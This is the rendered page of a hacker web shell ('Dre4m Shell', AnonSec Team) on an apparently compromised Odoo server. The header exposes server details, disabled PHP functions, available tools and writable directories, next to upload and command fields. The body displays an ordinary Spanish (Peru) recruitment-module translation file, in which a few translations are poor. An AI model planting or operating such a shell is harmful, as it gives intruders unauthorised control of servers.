Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.135.246.88
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/website_hr_recruitment/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/website_hr_recruitment/i18n/es_PE.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * website_hr_recruitment
#
# Translators:
# Carlos Eduardo Rodriguez Rossi <crodriguez@samemotion.com>, 2016
msgid ""
msgstr ""
"Project-Id-Version: Odoo 9.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-09-07 08:57+0000\n"
"PO-Revision-Date: 2016-06-13 22:04+0000\n"
"Last-Translator: Carlos Eduardo Rodriguez Rossi <crodriguez@samemotion.com>\n"
"Language-Team: Spanish (Peru) (http://www.transifex.com/odoo/odoo-9/language/"
"es_PE/)\n"
"Language: es_PE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.job_countries
msgid "All Countries"
msgstr "Todos lo Países"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.job_departments
msgid "All Departments"
msgstr "Todos los Departamentos"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.job_offices
msgid "All Offices"
msgstr "Todas las Oficinas"

#. module: website_hr_recruitment
#: model:ir.model,name:website_hr_recruitment.model_hr_applicant
msgid "Applicant"
msgstr "Postulante"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.apply
msgid "Apply Job"
msgstr "Aplicar al Puesto"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.thankyou
msgid "Continue To Our Website"
msgstr "Continuar A Nuestro Sitio Web"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.apply
msgid "Job Application Form"
msgstr "Formulario de Solicitud de Empleo"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.detail
msgid "Job Detail"
msgstr "Detalle del Empleo"

#. module: website_hr_recruitment
#: model:ir.model,name:website_hr_recruitment.model_hr_job
msgid "Job Position"
msgstr "Puesto de Trabajo"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.detail
#: model:ir.ui.view,arch_db:website_hr_recruitment.job_footer_custom
#: model:website.menu,name:website_hr_recruitment.menu_jobs
msgid "Jobs"
msgstr "Trabajos"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.index
msgid "Join us and help disrupt the enterprise market!"
msgstr "¡Únete a nosotros y ayuda a interrumpir el mercado empresarial!"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.index
msgid ""
"Join us, we offer you an extraordinary chance to learn, to\n"
"                                    develop and to be part of an exciting "
"experience and\n"
"                                    team."
msgstr ""
"Únete a nosotros, nosotros te ofrecemos una extraordinaria oportunidad de "
"aprender, a\n"
"desarrollar y ser parte de una emocionante experiencia y\n"
"equipo."

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.content_new_job_offer
msgid "New Job Offer"
msgstr "Nueva Oferta de Trabajo"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.index
msgid "Our Job Offers"
msgstr "Nuestras Ofertas de Trabajo"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.apply
msgid "Resume"
msgstr "Reanudar"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.apply
msgid "Short Introduction"
msgstr "Introducción Corta"

#. module: website_hr_recruitment
#: model:ir.model,name:website_hr_recruitment.model_hr_recruitment_source
msgid "Source of Applicants"
msgstr "Fuente de Postulantes"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.thankyou
msgid "Thank you!"
msgstr "¡Gracias!"

#. module: website_hr_recruitment
#: model:ir.model.fields,field_description:website_hr_recruitment.field_hr_recruitment_source_url
msgid "Url Parameters"
msgstr "Parámetros Url"

#. module: website_hr_recruitment
#: model:ir.actions.act_url,name:website_hr_recruitment.action_open_website
msgid "Website Recruitment Form"
msgstr "Formulario de Reclutamiento del Sitio Web"

#. module: website_hr_recruitment
#: model:ir.model.fields,field_description:website_hr_recruitment.field_hr_job_website_description
msgid "Website description"
msgstr "Descripción del Sitio Web"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.apply
msgid "Your Email"
msgstr "Su Email"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.apply
msgid "Your Name"
msgstr "Su Nombre"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.apply
msgid "Your Phone Number"
msgstr "Su Número Telefónico"

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.thankyou
msgid ""
"Your job application has been successfully registered,\n"
"                        we will get back to you soon."
msgstr ""
"La solicitud de empleo se ha registrado correctamente,\n"
"nos pondremos en contacto con usted pronto."

#. module: website_hr_recruitment
#: model:ir.ui.view,arch_db:website_hr_recruitment.index
msgid "open positions"
msgstr "posiciones abiertas"

Anon7 - 2022
AnonSec Team